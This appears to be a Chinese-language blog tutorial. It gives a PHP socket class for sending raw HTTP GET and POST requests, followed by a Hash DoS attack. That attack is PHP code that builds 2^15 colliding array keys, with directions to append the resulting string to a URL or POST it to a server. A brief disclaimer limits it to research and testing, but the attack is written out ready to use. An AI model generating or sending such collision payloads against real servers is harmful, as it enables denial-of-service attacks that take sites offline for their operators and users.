本篇利用 PHP 取得某網站 HTTP 的網站內容 HTML。
建立一個 class ,例如 Http_Client.class 內容如下:
<? class HTTP_Client { var $connect = null; var $ip = null; var $error = null; var $errno = null; function HTTP_Client ($ip, $port = 80, $timeout = 30) { if (empty($ip)) return false; $this->connect = fsockopen($ip, $port, $this->error, $this->errno, $timeout); if ($this->connect) { $this->ip = $ip; } } //POST function post ($path, $date) { fputs($this->connect, "POST $path HTTP/1.1\n"); fputs($this->connect, "Host: ". $this->ip ."\n"); fputs($this->connect, "Content-type: application/x-www-form-urlencoded\n"); fputs($this->connect, "Content-length: ". strlen($date) ."\n"); fputs($this->connect, "User-Agent: MSIE\n"); fputs($this->connect, "Connection: close\n\n"); fputs($this->connect, "$date"); while (!feof($this->connect)) { $buffer .= fgets($this->connect,128); } return $buffer; } //GET function get ($path = "/", $arraydata = array()) { if (is_array($arraydata)) { foreach ($arraydata as $var => $value) { $data .= (++$i==1) ? "$var=$value" : "&$var=$value"; } } else { return false; } if ($data) $path .= "$data"; fputs($this->connect, "GET $path HTTP/1.1\n"); fputs($this->connect, "Host: ". $this->ip ."\n"); fputs($this->connect, "User-Agent: MSIE\n"); fputs($this->connect, "Connection: close\n\n"); while (!feof($this->connect)) { $buffer .= fgets($this->connect,128); } return $buffer; } //Clear Title function clear($data) { $dataArray = split("\r\n\r\n",$data); return str_replace($dataArray[0],"",$data); } //關閉連線 function close () { return fclose ($this->connect); } } ?>
以下為 Hash DoS 攻擊方式說明,只供 學術研究 及 測試使用,請勿用於攻擊他人伺服器,否則一切責任由攻擊者負責!
只需要利用 PHP 產生 Hash 字串即可,程式碼如下:
<?php $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= '&array[' . $key . ']=0'; } echo ltrim($data,'&'); ?>
產生的字串如檔案:dosstr
只需利用此字串,帶入到網址後方即可!或者使用POST的方式發送。